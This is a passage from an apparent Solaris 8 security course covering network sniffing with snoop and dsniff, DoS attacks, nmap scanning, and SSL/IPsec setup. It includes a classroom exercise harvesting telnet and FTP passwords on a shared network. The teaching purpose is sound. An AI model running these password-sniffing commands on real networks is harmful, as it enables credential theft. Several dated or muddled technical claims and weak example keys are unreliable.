that it does not show up in the system logging and monitoring activities.
Network Sniffing
Detecting snifng on the network itself is currently in its infancy. Two
tools that detect snifng on a network are:
G AntiSniff Runs on Microsoft Windows only. Available from
Security Software Technologies, Inc.
http://www.securitysoftwaretech.com/antisniff/
G Sentinel Runs on UNIX. Available from
http://www.packetfactory.net/Projects/Sentinel
Network Sniffing
Defending Against Network Sniffers
There is only one sure way to defend against network snifng and that is
to encrypt all network trafc. Technologies like Secure Sockets Layer (SSL)
and Internet Protocol Security (IPSec) are low-level protocol encryption
tools. You can achieve higherlevel encryption by using applications
which encrypt their data. Tools like Secure Shell (SSH) provide a better
alternative than unencrypted tools like telnet and remote login with the
rlogin and rsh commands.
Network Sniffing Tools
Network Snifng Tools
There are many snifng tools on the market. Some are expensive and
require specialized equipment. In fact, all LAN analyzers are specialized
network sniffers.
There are many low-cost or free software products for UNIX and
Microsoft Windows platforms which do a good job of network snifng.
They might drop an occasional packet of data here and there, but they can
still collect a large amount of data.
The Solaris 8 OE comes with its own sniffer utility called snoop. There is
also a freeware simple-to-use product called dsniff that can harvest
passwords froma network. Harvesting data means collecting only the data
you are interested in while discarding the rest.
Note Many other tools are available on the market. The tcpdump utility
is popular and widely ported [http://www.tcpdump.org].
The snoop Utility
The Solaris OE comes with a basic network sniffer in the
/usr/sbin/snoop directory (etherfind on SunOS 4). It can be invoked
by anyone, but access to the network device is restricted to the root user,
effectively making it a superuser-only utility.
However, if an intruder breaks in and assumes the root user identity on
any Solaris OE system on your network, the intruder can run snoop to
detect network trafc, which might allow the intruder to break into other
systems.
By default, snoop displays a summary of all packet data sniffed:
# snoop
Using device /dev/hme (promiscuous mode)
grommit -> wallace TELNET C port=1079
wallace -> grommit TELNET R port=1079 Using device /dev/hm
wallace -> grommit TELNET R port=1079 grommit -> wall
wallace -> grommit TELNET R port=1079 wallace -> grom
The protocol is identied together with the host names (if known) and the
rst few bytes of text in the packet (if the data is readable text).
The snoop output is usually redirected to a le for later analysis. Sending
output to the screen slows down the operation of the snoop utility, which
can cause snoop to miss (or drop) packets of data. Redirecting the data to
a le introduces a lower I/O overhead than sending data directly to the
screen. Redirecting the data to a le also avoids recursively collecting the
data sent to the screen when using the telnet command.
The snoop Options
Collect raw network data with snoop using the -o option:
# snoop -o /tmp/snooped
All data is saved to this le, so the le must be on a disk with sufcient
free space. Stop the data collection by killing the snoop utility with
Control-C or the kill command.
To examine the results of a data capture, use the -i option with the name
of the raw data le:
# snoop -i /tmp/snooped
The snoop utility has many options and capabilities for ltering or
displaying the data which are fully described in the manual pages.
Table 10-1 shows some of the more commonly used options.
Table 10-1 The snoop Utility Options
Option Usage
-N Creates a names le when capturing data, which maps IP
addresses to host names (same format as /etc/hosts).
-n filename Uses the named les for IP address resolution instead of using the
/etc/hosts le and DNS.
-r Does not map network addresses into host names, which avoids
generating DNS trafc while capturing data. You can use a names
le (see -n and -N options) for name lookup.
-S Includes the packet size on the summary line.
-V Verbose summary mode, which includes additional summary data
for each protocol layer in the captured packet.
For example, Code 10-1 on page 10-5 used the following command line:
# snoop -rSx 0
-v Verbose mode, includes extra header information in the summary
line.
-x
start[,leng
th]
Includes the packet data in the output, starting from the given
offset for the specied number of octets (or the entire packet if no
length is specied).
Table 10-1 The snoop Utility Options (Continued)
Option Usage
The snoop Packet Filters
The snoop command line uses optional expressions to lter the data being
viewed. Some common optional expressions are:
G Only include packets to and from the named host:
# snoop host hostname
G Only include packets to and from the specied address (which can
be a dotted decimal IP address or a colon-separated 8byte Ethernet
address):
# snoop address
# snoop net address
G Prex a host or net address with to or from to view incoming or
outgoing packets.
# snoop to host hostname
# snoop from address
G Only include packets for the specied port number, which can be a
number (such as 23) or an entry from the /etc/services directory
(such as the telnet command):
# snoop port service
Several other ltering options require more knowledge of the network
packet structure. Read the snoop manual page for all of the available
commandline parameters.
You can make ltering more selective by combining options and
expressions with the logical operators and, or, and not (or !).
G To select only ftp packets use:
# snoop port ftp
G To monitor all incoming telnet data to the host grommit use:
# snoop port telnet and host grommit
G To look for SNMP between wallace and grommit and show the data
packet use:
# snoop -x 0 port snmp and wallace and grommit
The dsniff Utility
The dsniff utility is a network and password sniffer that obtains
passwords off of the network. It can be downloaded from the Sun
Freeware Web site.
The dsniff utility handles ftp, telnet, SMTP, HTTP, POP, SNMP, LDAP,
Rlogin, NIS, X11, Symantec pcAnywhere, Microsoft SMB, Oracle
SQL*Net, Sybase, Microsoft SQL protocols, and many other protocols.
The dsniff utility automatically detects and minimally parses each
application protocol, only saving the interesting pieces of information. For
example, with the telnet command, the dsniff utility saves data sent
from the client to the server (in other words, the dsniff utility saves what
the user types in).
The dsniff utility can save its data to a Berkeley DB database format data
le for later analysis or it can write the data to standard output.
Running the dsniff Utility
To run dsniff and save the data to a le called dsniffed, type:
# dsniff -w dsniffed
To read this data le, type:
# dsniff -r dsniffed
The dsniff utility has additional command line options which you can
use if you have special network requirements. However, like the snoop
utility, the dsniff utility allows ltering expressions on its command line.
Some of the useful ones are:
G Only include packets to and from the named host:
# dsniff host hostname
G Only include packets to and from the specied address, which can
be a dotted decimal IP address or a colon-separated 8-byte Ethernet
address:
# dsniff net address
G Prex a host or net address with to or from to view incoming or
outgoing packets:
# dsniff to host hostname
# dsniff from host address
G Only include packets for the specied port number, which can be a
number (such as 23) or an entry from /etc/services (such as the
telnet command):
# dsniff port service
Like the snoop utility, there are several other ltering options and you can
make the ltering more selective by using the expressions combined with
the logical operators and, or, and not (or !).
By default, the dsniff utility captures all the interesting data it sees. This
can be a lot of information to examine, so you should lter the data you
want to save by specifying the host or protocol that you are interested in.
The dsniff utility captures data until you stop the program using
Control-C or the kill command (if you run the dsniff utility in the
background).
The dsniff utility captures an entire TCP session, so it only saves data if
the connection is established and torn down while the dsniff utility is
running (that is, you do not capture data if someone is already logged in
using the telnet command when you start running the dsniff utility).
Code 10-2 shows how to use the dsniff utility to examine telnet data
for the host wallace.
Code 10-2 Using the dsniff Utility
1 # dsniff -w dsniffed port telnet and host wallace&
2 [1] 3088
3 <continue working>
4 # kill %1
5 # dsniff -r dsniffed
6 listening on hme0 [port telnet and host wallace]
7 trigger_tcp: decoding port 23 as telnet
8 -----------------
9 04/26/01 15:21:35 tcp 192.168.1.2.1090 -> wallace.23 (telnet)
10 alice
11 w0nder
12 su
13 s3cr3t
14 passwd eve
15 password
16 password
17 passwd -f eve
18 exit
19 exit
Code 10-2 shows everything typed in for one telnet session. At line 10,
alice supplies the login name and then the password (w0nder" on line
11). The rst action that alice uses is the su command to log in as root
user, supplying the root user password (s3cr3t). alice then resets eves
password to the string password.
If an intruder was running the dsniff utility on your network, the
intruder would now be in possession of the passwords for the root user
account as well as two non-administration accounts. The intruder is likely
to be installing back doors on wallace while continuing to run the
dsniff utility to try to compromise security on the rest of your systems.
?
!
Discussion Now that you know about the dsniff utility, would you
allow users on your network to use the telnet command? What
alternatives are there?
Network Service Attacks
Network attacks probably form the majority of attacks on a system in a
modern IT conguration. Nearly ever computer is connected to a network
and many networks are connected to the Internet.
As an administrator, you have no control over the Internet. All you can do
is install defensive measures at the boundary where your network
connects to the Internet. These measures involve rewalls, proxy servers,
demilitarized zones (DMZs), and other techniques.
Your network is vulnerable even if you have taken steps to prevent
unauthorized systems and users from tapping into the network
infrastructure. When intruders have access to your network, they can
begin to attack the systems on the network.
Many network attacks can only be undertaken by someone with a good
knowledge of the low-level protocols. This module discusses some
network attacks which can be undertaken by an intruder with only a
small amount of networking knowledge.
Packet Replay Attacks
One form of attack that network snifng can lead to is the Packet Replay
Attack. In this attack, packets of data which have been sniffed from the
network are replayed back to a server, usually with a different source
address, trying to fool a server into providing information. Replay attacks
are often used to try to obtain Kerberos tickets granting access to other
network services.
Every TCP/IP packet has a sequence number which increments as
packets are sent. Replay attacks can predict the next valid sequence
number and spoof the network packets.
In Solaris OE, the le /etc/default/inetinit can set different initial
sequence number generation parameters using the TCP_STRONG_ISS
variable. Possible values are shown in Table 10-2.
You are strongly advised to set the parameter value to 2 to guard against
replay attacks.
# grep TCP_STRONG /etc/default/inetinit
TCP_STRONG_ISS=2
Table 10-2 Possible Values of the TCP_STRONG_ISS Variable
Value Meaning
0 Old-fashioned, sequential, initial
sequence number generation
1 Improved sequential generation, with
random variance in increment
2 RFC 1948 sequence number
generation, unique-per-connection-ID
Vulnerabilities of the sendmail Program
Several network attacks target known weaknesses in standard network
services. The most notorious network service for being exploited in this
way is the sendmail program. The sendmail program listens on port 25
and accepts incoming simple mail transfer protocol (SMTP) requests.
SMTP, like many Internet protocols, is text-based. You can use the telnet
command to connect into an SMTP server and initiate a SMTP dialog, as
shown in Code 10-3.
Code 10-3 SMTP Dialog
# telnet localhost 25
220 wallace ESMTP Sendmail 8.9.3+Sun/8.9.3; Fri, 27 Apr 2001 14:32:39
+0100 (BST)
HELO wallace
250 wallace Hello [192.168.1.1], pleased to meet you
In Code 10-3 on page 10-28, you connected to the sendmail program and
can now enter commands to send email. The original version of the
sendmail program also allowed you to enter a command to debug the
sendmail server, which was a very useful feature during development.
The debug command allowed you to run a shell (for debugging) with
root user privileges.
This debug feature was removed fromsendmail years ago. But sendmail
has other features which could let an intruder break in to systems. These
have slowly been closed down, but even now, there are regular security
alerts about new sendmail vulnerabilities.
You can use several SMTP servers as alternatives to sendmail, such as
iPlanet Messaging Server and DMail, because they are more secure.
Buffer Overflow Attacks
The sendmail program, and many other network servers such as the
fingerd daemon, have suffered from a common problem known as
buffer overow.
In basic terms, buffer overow occurs when the programmer writing the
network server fails to limit the amount of data that the client can enter
into the program. When the client program (or an intruder typing in from
the keyboard) enters too much data for the buffer, the data overwrites
other data or the server program itself.
In paper-based terms, buffer overow is like when you are lling in a
form where the box you need to complete is too small to contain the
information. You continue writing outside the box and hope that is
acceptable to the person reading the form. You have just caused the paper
equivalent of a buffer overow.
If the form was printed with a black background and the only white area
was inside the box then you could not cause the buffer overow (you
would just have to write smaller letters). Many programmers take the
same precautions when writing code, but not all programmers are aware
of the problems of buffer overow and security weakness keeps cropping
up in software systems.
When a server buffer overow occurs, several problems can happen:
G The excess data corrupts part of the program and the server crashes.
The service is now unavailable. While some systems might
automatically restart crashed services, many do not. This is an
example of a DoS attack.
G The excess data overwrites valid data in the program, which can
corrupt the data. This corruption might not be noticed for some time
(if ever).
G The excess data overwrites part of the server program with a
program of its own which, when executed, can enable an intruder to
break into the system. The infamous Internet Worm released in 1988
used this technique to inltrate copies of itself into a signicant
portion of the Internet.
Most buffer overow problems have been found and xed in common
network servers. However, new servers and enhancements to existing
code often show buffer overow weaknesses.
If a new buffer overow weakness is discovered, check to see if a
temporary wrapper is available from http://www.auscer.org.au/,
which you can use until a patch is released from the vendor.
Web (HTTP) Servers
Web servers are also vulnerable to attack. Web servers are becoming more
vulnerable because of the demands on organizations to provide
Web-based services with sophisticated features.
Many Web servers use Common Gateway Interface (CGI) scripts to
provide dynamic content. Most CGI scripts are written using languages
like Perl or Personal Home Page (PHP), which were written for speed and
ease of program development and not for security. A knowledgeable
intruder can exploit the security holes in these languages.
The trend towards using Java technology Servlets and JavaServer
Pages (JSP) as a more secure alternative is helping improve Hypertext
Transfer Protocol (HTTP) server security.
Network Denial of Service Attacks
A general discussion of DoS attacks was given in Module 4. DoS attacks
are quite common. While they might appear to be just a nuisance they are
often serious:
G Losing a server for a few minutes costs most organizations money
and can adversely affect future business. Losing a server for longer
than a few minutes can have dire consequences for your business.
G If your service is unresponsive (especially if it is a Web service), you
might lose business to a competitor who has not been attacked.
G If the press is told about your poor service, you might get bad
publicity, which can cause your customers to worry and potentially
take their business elsewhere.
G If your service becomes unavailable, an intruder might spoof
(impersonate) your system (borrow your IP address) to collect
information about your customers.
G After a successful attack, you can clean your system and reboot.
Rebooting is sometimes what an intruder wants you to do. Perhaps
the intruder has successfully broken into your system and needs you
to reboot to activate a back door or complete a rootkit installation. A
DoS attack is a good way to force a reboot.
Types of Network Denial of Service Attacks
There are many types of DoS ranging from the brute-force approach of
sending large numbers of requests to a server to more subtle attacks using
network protocol features.
Three of the network protocol attacks are:
G TCP SYN ooding
G Ping of death
G Smurf
TCP SYN Flood Attack
As part of the initiation of a TCP service connection (such as ftp, telnet,
HTTP, or SMTP), a three-way handshake must take place as shown in
Figure 10-1 on page 10-36.
Figure 10-1 TCP Three-Way Handshake
The steps in a three-way handshake are:
1. The client sends a synchronize (SYN) message to the server.
2. The server responds with a synchronize acknowledgment
(SYN/ACK) message to the client.
3. The client completes the initialization of the TCP session by sending
an ACK back to the server.
In a TCP SYN ood attack, the client sets a non-existent system as the
reply address of the initial SYN message. The server sends the SYN/ACK
response to the non-existent server and never gets the nal ACK response.
Eventually the server times out the connection (the time-out can range
from 75 seconds to 23 minutes depending upon network conguration
parameters). During the time-out period the server is holding onto kernel
resources required during the TCP session initialization.
TCP initialization generally requires more kernel resources than when the
session is established. While a server might support hundreds or
thousands of concurrent TCP sessions, it might only be able to support a
few tens of connections in the initialization phase. If the client sends a
falsied SYN packet every 10 seconds, it could completely disable TCP
services on a server by causing the kernel to run out of resources.
TCP SYN ood attacks are popular because the client has little work to do
to disable a server.
If the clients SYN packet mistakenly species a reply address of a valid
system then that system sends a reset (RST) message to the server for the
unexpected SYN/ACK message. The server resets the TCP session
releasing all the kernel resources tied up for the initialization which
effectively nullies the TCP SYN ood.
Note See the Sun Microsystems Security Bulletin: #00136, 9 Oct. 1996 for
more information (available in the Security Bulletin Archive at
http://sunsolve.sun.com/pub-cgi/secBulletin.pl). A general,
cross-environment discussion of this issue is available from CERT at
http://www.cert.org/advisories/CA-1996-21.html.
Ping of Death Attack
The Ping of Death attack is another DoS attack. The attack involves
sending an IP packet that is too large to be a legal packet (more than 65535
bytes in size). The attack usually uses the low-level Internet Control
Message Protocol (ICMP) packets that the ping command uses.
The packet is fragmented into packets at the Maximum Transfer Unit
(MTU) size for transmission over the network. The reassembly stage on
the remote machine overows memory because so many larger-than-
expected packets are received in a short period of time.
Note The default MTU on a Solaris OE platform using Ethernet is
1500 bytes. The Solaris OE on the SPARC system is immune to this
attack. Unpatched Solaris OE x86 systems (2.5.1 and lower) are
vulnerable.
Smurf Attack
A Smurf attack is simple and effective. It uses the same low-level ICMP
protocol that the ping utility uses.
Usually, the ping utility tests to see if a particular server is online. A client
sends a ping message to the server and the server automatically sends the
message back to the client (the name ping derives from the sound made
by sonar echo detection devices used during World War II).
A Smurf attack falsies the reply address in the ping ICMP packet by
setting it to the address of the system under attack. The client then sends
the ping message to the broadcast address for the network containing the
system under attack.
The result is immediate and dramatic. Every host on the network receives
the ping message and echoes it back, not to the intruder, but to the system
whose address was in the ICMP reply eld. The system under attack
receives up to 254 ping responses in a very short period of time.
If the system were attacked only once, the system might survive and
process the ping replies, but the targets network is temporarily
overloaded. However, if you broadcast a ping packet every second to the
network, you tie up all available network bandwidth and swamp the
target system with network packets. As network and CPU resources are
exhausted, the system slows to a crawl.
A user with a 28.8-kilobit-per-second modem can put out enough
bandwidth to ll one-third of the capacity of a T1 (1.54 megabits/sec.)
line. Yale University removed its Internet Relay Chat (IRC) server because
of these attacks and New York University was once ooded so badly it
was off the network for two weeks.
Smurf Countermeasures
Smurf is so nasty that you should always implement the Solaris OE
countermeasure. The solution is to disable ping replies to broadcast
addresses. Do this by adding the following line to the /etc/init.d/inet
le as part of the network startup:
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
Recognizing Network Attacks
It is difcult from a Solaris OE server to recognize network attacks.
Specialized network monitoring is often required to detect attacks like
TCP SYN, Ping of Death, and Smurf.
On a server, network attacks are usually seen after the event; they are not
detected until they have been successful. In fact, many network attacks go
entirely unnoticed unless they are DoS attacks.
Port Scanning Using the nmapUtility
One technique intruders use while setting up a network attack is to scan a
server for all the services running. This process is know as a port scan and
the best known utility for this is nmap (nmap can be obtained from
http://www.insecure.org/nmap).
The nmap utility attempts to connect to every port on your server. If the
nmap utility makes a successful connection, it attempts to identify the
service on that port by analyzing any data sent out by the server, as
shown in Code 10-4.
Code 10-4 Sample nmap Output
# nmap -P0 192.168.0.250
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Interesting ports on sunfrog (192.168.0.250):
(The 1505 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
37/tcp open time
111/tcp open sunrpc
139/tcp open netbios-ssn
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
2049/tcp open nfs
4045/tcp open lockd
6000/tcp open X11
6112/tcp open dtspc
7100/tcp open font-service
8888/tcp open sun-answerbook
32774/tcp open sometimes-rpc11
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
Host Information From the nmap Utility
If the nmap utility is connected to the sendmail port shown in Code 10-3
on page 10-28, it could detect from the prompt string that this is an
Extended Simple Mail Transfer Protocol (ESMTP) server (it supports a
newer version of the SMTP which is a superset of the SMTP service).
Using the information it obtains from a services data output, the nmap
utility can determine a lot about your server. For example, the nmap utility
can look at Code 10-3 on page 10-28 and determine the following:
G Server name wallace
G Operating system and version Solaris OE 8.9.3
G Server version sendmail 8.9.3
G Date The date and time on the server
With this information, the intruder can look up known weaknesses in the
operating system and in the program versions and then attempt to break
in to the system. Even knowing which ports are open and which are
closed can enable the nmap utility to determine the system type (rewall,
router, UNIX, Solaris OE, and so on).
Detecting Port Scanning
Port scanning usually involves a large number of connections arriving at
your server over a short period of time. Often, the connections step
through the port numbers in numeric order.
Scanning defense products, such as PortSentry (obtainable from
http://www.psionic.com/abacus) can recognize this activity. The usual
defense is to recongure the kernel (or network interface) to refuse to
accept connections from the system attempting the port scan. The kernel
conguration can be automated in some of the scanning defense tools.
Note Some legitimate tools, such as SAINT, can be detected by port
scanning defenses.
Exercise: Using Network Sniffing
Exercise: Using Network Snifng
In this exercise, you will complete the following tasks:
G Use the snoop utility to sniff network trafc
G Install the dsniff utility
G Use the dsniff utility to harvest user names and passwords from
the network
Preparation
There is no special preparation required for these tasks.
Tasks
Working in pairs, use the snoop and dsniff utilities to sniff Telnet
network trafc between two different workstations created by the telnet
command. Due to the implementation of the Solaris TCP/IP stack, you
cannot correctly sniff network trafc if the source and destination
workstations are the same machine.
Task Using the snoop Utility to Sniff Network Traffic
Follow these steps:
1. Obtain the IP addresses of your system and the workstation of the
person next to you. Run the snoop utility to collect data between the
two workstations.
2. With your colleagues approval, log in to the other workstation using
the telnet command.
3. Log out and connect again using the ftp command.
4. Stop the snoop command and examine the data you have collected.
Identify the login name and password you used for both telnet and
ftp commands.
Exercise: Using Network Sniffing
5. Run the snoop utility again. Watch for ftp connections into your
host. Use the ftp command to connect to your host to make sure
that you see your connection.
6. Examine the data you collected and identify the login name and
password you used. It should be easier this time, because you have
only ftp data to examine.
Task Installing thedsniffUtility
You can download the dsniff utility from the Sun Freeware Web site. A
copy has already been downloaded and saved in the /usr/local/pkg
directory. Install this SVR4 package using the pkgadd command. You also
need to install the OpenSSL and libpcap libraries, which are available
from the same Web site and the /usr/local/pkg directory.
Task Using thedsniffUtility
Follow these steps:
1. Obtain the IP address of your system and run the dsniff utility to
collect telnet data for your workstation and place the data into a
data le.
2. In a separate window, use the telnet command to log in to your
workstation and then use the su command to log in as root user.
3. Log out, stop the dsniff utility, and examine the passwords that you
captured.
4. Run the dsniff utility for the whole network and collect passwords
from your colleagues. Because they are doing the same to you, give
them some data to work with by using the telnet command to
login to your own machine (or a colleagues with their approval). Do
not forget to log out again so that the session data can be captured.
Note If you have used one of your favorite passwords for an account on
your system, do not log in to this account. You do not want your
colleagues to be aware of passwords that you use back in the ofce. Use
the sample accounts for alice, bob, and eve for the passwords, because
these accounts are known to all users on the course.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are solutions to the exercises. If you have any questions
about either the exercises or the given solutions please ask your instructor.
Using the snoop Utility to Sniff Network Traffic
1. Assuming your workstation IP address is 192.168.1.107 and your
colleagues is 192.168.1.108, use the following command to monitor
trafc between the two systems:
# snoop 192.168.1.107 and 192.168.1.108
5. To monitor incoming ftp trafc on your host use:
# snoop 192.168.1.107 and port ftp
or
# snoop host localhost and port ftp
Installing the dsniff Utility
Install the dsniff utility using:
# cd /usr/local/pkg
# pkgadd -d libpcap-0_6_1-sol8-sparc-local
# pkgadd -d openssl-0_9_6-sol8-sparc-local
# pkgadd -d dsniff-2.3-sol8-sparc-local
Using the dsniff Utility
1. Save telnet data to a le called data1 for your system only with:
# dsniff -w data1 host localhost and port telnet
2. In a separate window, use the telnet command to log in to your
workstation and then use the su command to log in as root user.
Exercise Solutions
3. Type Control-C to stop this command after running your telnet
session from another window. View the collected data using:
# dsniff -r data1
4. Collect all telnet data on the network with:
# dsniff port telnet
This displays the captured data as it is collected, but only when the
captured telnet session terminates.
11-1
Module 11
SecuringNetworkData
Objectives
G Describe the basic aspects of the Secure Sockets Layer (SSL)
G Explain why SSL is required, and what it does
G Congure secure communications between hosts using IPsec
Relevance
Relevance
?
!
purpose of securing the low-level data transferred across your networks:
G How do you secure low-level communications between hosts?
G Is there a mechanism that allows you to use the telnet program
securely to log in to your hosts?
Securing Network Data 11-3
The following additional resources may be found useful when attempting
to understand SSL.
G For information on SSL:
[http://www.openssl.org]
G General cryptography:
[http://www.ssh.com/tech/crypto]
G System administration:
[http://darkwing.uoregon.edu/~hak/unix.html]
G Menezes, Alfred J., Paul C. van Oorschot, and Scott A. Vanstone.
Handbook of Applied Cryptography. CRC Press, 1996.
G Veeraraghavan, Sriranga and Paul Watters. Solaris 8: The Complete
Reference. Osborne McGraw Hill, 1999.
G Winsor, Janice. Solaris 8 System Administrator's Reference Guide,
Prentice-Hall PTR, 2000.
G Sun Security Enhancements Online:
[http://www.sun.com]
G Online manual pages for ipsecconf(1M), ipseckey(1M), and
ipsec(7P)
Implementing Secure Communication Using SSL
While security measures that protect physical devices attached to, or
forming part of, host machines are essential, it is also important for
communications between machines to be secure. SSL provides secure
communications between machines. SSL is a non-proprietary protocol and
is widely used.
The most common implementation of SSL (but not the only one) is
supported and maintained by the Open SSL group, online at
http://www.openssl.org.
The Open SSL Project
The OpenSSL Project is an open development project designed to produce
a commercial-grade open-source toolkit implementation for SSL and the
Transport Layer Security (TLS) protocols. SSL incorporates a general
purpose cryptography library (for the full-strength version you must use
one of the non-U.S. Web sites for the source code download). OpenSSL is
based on the SSLeay library developed by Eric A. Young and
Tim J. Hudson.
Caution Some countries still prohibit the use of strong encryption.
Before implementing the full-strength versions of SSL, ensure that the use
of this type of encryption does not break the national law of the country in
which the machine resides.
Defining the SSL
Dening the SSL
The SSL protocols goal is to provide privacy and reliability between two
communicating applications. The applications can be operating system
components, such as a client talking to a server, or two (or more) peer
machines swapping data. A specic advantage of SSL is that it is
application protocol independent. In other words, SSL works with both high
level and low level protocols.
SSL is always composed of two layers. The lower layer consists of a
reliable transport protocol. This is most commonly TCP/IP and its
wrappers. This is known as the SSL Record Protocol. The SSL Record
Protocol encapsulates the various higher level protocols. Atypical example
is the SSL Handshake Protocol, which allows a server and client to
mutually authenticate and negotiate an encryption algorithm and
associated cryptographic keys. A second, higherlevel protocol is used
transparently on top of the SSL Record Protocol.
Often, a specic daemon encapsulates the SSL layers. Applications can
continue to use open and non-secure ports, but those ports are actually
fully encrypted by the SSL daemon. This is sometimes known as
transparent encryption because the encryption is hidden from the
application, but is still there.
Defining the SSL
Properties of SSL
The SSL protocol provides connection security with three basic properties:
G The connection is private between the two machines.
G The peer's identity can be authenticated using asymmetric
cryptography. Asymmetric cryptography provides for mutual
authentication using keys from a certicate authority (CA),
sometimes known as a trusted third party. This process is essentially
the digital signature provision.
G The connection is reliable.
SSL uses an asymmetric (public key) cipher to dene a secret session key.
Symmetric cryptography (for example Data Encryption Standard (DES) or
RC4) is used for actual data encryption, because symmetric encryption is
faster than asymmetric encryption.
The message transport includes a message integrity check. Because secure
hash functions, for example, Secure Hash Algorithm (SHA-1) or Message
Digest 5 (MD5) are used for the integrity check computations, there is a
built-in defense against someone tampering with the packets.
Defining the SSL
Simplifying SSL Using the stunnel Program
A convenient method of providing SSL between clients is to use the open
source program stunnel. The stunnel program is an SSL wrapper
daemon which, when running between machines, provides an encrypted
portal.
For example, host A has an application that does not use SSL but uses
simple sockets instead (at port 1234). Host B has the same application (on
port 1235). Congure the stunnel program on both machines and
provide the appropriate sockets. Host As application still connects to port
1234, but the socket is redirected through the secure stunnel program.
Host Bs application still connects to port 1235, but its socket is also
redirected through the secure stunnel program. Hosts A and B are now
using SSL, even if their applications are unsuitable for SSL conguration.
The stunnel daemon is widely used in conguring Virtual Private
Networks (VPNs) and for communications between clients and remote
Lightweight Directory Access Protocol (LDAP) servers.
Defining the SSL
The stunnel program is not a complete SSL product. You still need an
SSL library, such as OpenSSL, to provide the handshaking and encryption.
Information on the stunnel program can be obtained from:
http://www.stunnel.org/.
Defining the SSL
How Secure Is the SSL?
The SSL is probably sufciently secure for most practical purposes.
However, even in its most secure form, the SSL is not totally secure.
The SSL works by encrypting information transmitted between machines.
It uses public-private key encryption to authenticate hosts and to swap
session keys. The session key then encrypts the data between the hosts.
There are problems with this encryption method.
The rst problem is the session key length. Many governments are
uncomfortable with the thought of private citizens sending information
which cannot be decrypted, even by governmental organizations. The key
lengths of encryption ciphers are restricted in many countries. The cipher
is easier to break with a shorter key length.
Defining the SSL
The second problem is a group of hackers known as the Key Cracking
Ring. This group has given notice that they plan to publish methods for
compromising the security of SSL for all systems. Currently, some low
security versions of SSL have been compromised. Versions of SSL using
strong (128-bit) encryption are still believed to be unbroken and secure
and they are likely to remain so until a new method for factorizing keys is
developed.
Understanding the IP Security Architecture (IPsec)
For the Solaris OE, and most other operating systems, the implementation
of network encryption is provided by IP security architecture (IPsec). IPsec
provides both encryption and validation of data. IPsec is a set of
standards developed by the Internet Engineering Task Force (IETF). IPsec
is an open source product available for most major versions of UNIX
(including Linux) and Microsoft Windows.
Processing is performed within the IP processing layer (like the stunnel
program), but the processing operates at a lower level. When in place and
congured, IPsec encrypts all IP trafc irrespective of the application
using the stunnel program without the knowledge of the application.
IPsec also provides host-to-host authentication. IPsec implements and
controls security in a transparent manner. Because IPsec works at the level
of the IP transport, it can be applied at both the system level and at the
level of the individual socket. You congure IPsec for the system with a
suite of command line utilities. The socket layer implementation requires
programming expertise and is not covered here.
Note Ensure that the IPsec protocol controls the authentication of IP
addresses and the encryption of data. The two should not be separated.
Configuring IPsec Security Associations
IPsecs secure communication is managed by security associations (SAs),
also known as key management. Two machines require at least two
security associations to communicateone for the inbound and one for
the outbound trafc. IPsec does not currently support automatic security
association management.
IPsec provides two types of IP packet protection: an authentication header
(AH), that provides the authentication component, and the encapsulating
security payload (ESP) that provides encryption. You can use both ESP and
AH in the same datagram.
Datagrams originating from within the system, or that have the system as
their target, are affected by the IPsec settings. Datagrams which are
forwarded are not affected by the IPsec settings, because they do not
belong to the system.
Adding IPsec Keys
Use the ipseckey utility to congure the authentication and encryption
keys. The ipseckey utility accepts single-line commands from the
command line or, if no command line parameters are specied, enters an
interactive session. Useful ipseckey commands are:
add Adds a new key denition
flush Removes all existing denitions
dump Outputs stored key denitions
The ipseckey command allows commands to be stored in les using the
following command line options:
-f filename Reads commands from le
-s filename Saves commands to le (use the le name to list the
key commands to standard output)
To improve security, the add command cannot be used on the command
line and it must be read from a le. Code 11-1 is an example key le that
sets ESP encryption between two hosts.
Code 11-1 Example Encryption Key Management File
1 # Example SA key management file - encryption
2
3 add esp spi 0x2112 src <this host> dst <other host>\
4 encralg des encrkey be02938e7def2839
5
6 add esp spi 0x5150 src <other host> dst <this host> \
7 encralg des encrkey 8bd4a52e10127deb
Note Each IPsec key command must be on a single line, which explains
the use of the line continuation backslash (\) character.
The source and destination addresses must either be named hosts in the
/etc/hosts le or IP addresses. This pair of security associations uses
DES to encrypt the data.
The spi parameter species the security association security parameters
index. The spi parameter is a 32-bit integer that is sent to the receiving
host. You can use any unique random 32-bit number as long as the
number is the same as the spi on the receiving host.
Conguring AH authentication requires a similar set of key denitions for
each pair of communicating hosts. Code 11-2 shows the Example
Authentication Key Management File
Code 11-2 Example Authentication Key Management File
1 # Example SA key management file - authentication
2
3 add ah spi 0x2112 src <this host> dst <other host>\
4 authalg md5 authkey bde359723576fdea08e56cbe876e24ad
5
6 add ah spi 0x5150 src <other host> dst <this host> \
7 authalg md5 authkey 930987dbe09743ade09d92b4097d9e93
There is no standard method of conguring the IPsec key denitions les
but it is common practice to store the keys in a le called
/etc/inet/ipseckeys and load the keys as part of the system boot
process, as shown in Code 11-3.
Code 11-3 Example ipseckeys File
# more /etc/inet/ipseckeys
add esp spi 0x2112 src wallace dst grommit \
encralg des encrkey be02938e7def2839
add esp spi 0x5150 src grommit dst wallace \
encralg des encrkey 8bd4a52e10127deb
add ah spi 0x2113 src wallace dst grommit \
authalg md5 authkey bde359723576fdea08e56cbe876e24ad \
add ah spi 0x5151 src grommit dst wallace \
authalg md5 authkey 930987dbe09743ade09d92b4097d9e93 \
Then create a boot script in the /etc/rc3.d/s99ipsec_startup
directory and add the following lines, as shown in Code 11-4.
Code 11-4 Example ipsec_startup Script
1 case $1 in
2 start)
1 if [ -f /etc/inet/ipseckeys ]
2 then
3 /usr/sbin/ipseckey -f /etc/inet/ipseckeys
4 fi
5 ;;
6 stop)
7 /usr/sbin/ipseckey flush
8 ;;
9 esac
Configuring IPsec Policies
Regular host congurations are held in the
/etc/inet/ipsecpolicy.conf le. You can add entries to this le with
the ipsecconf conguration utility.
Changes made with the command line tools are not preserved after a
shutdown. This means that a machine defaults to insecure
communications after a reboot. To avoid this problem, add IPsec
congurations for required communications to the
/etc/inet/ipsecinit.conf le, which is read during the boot process.
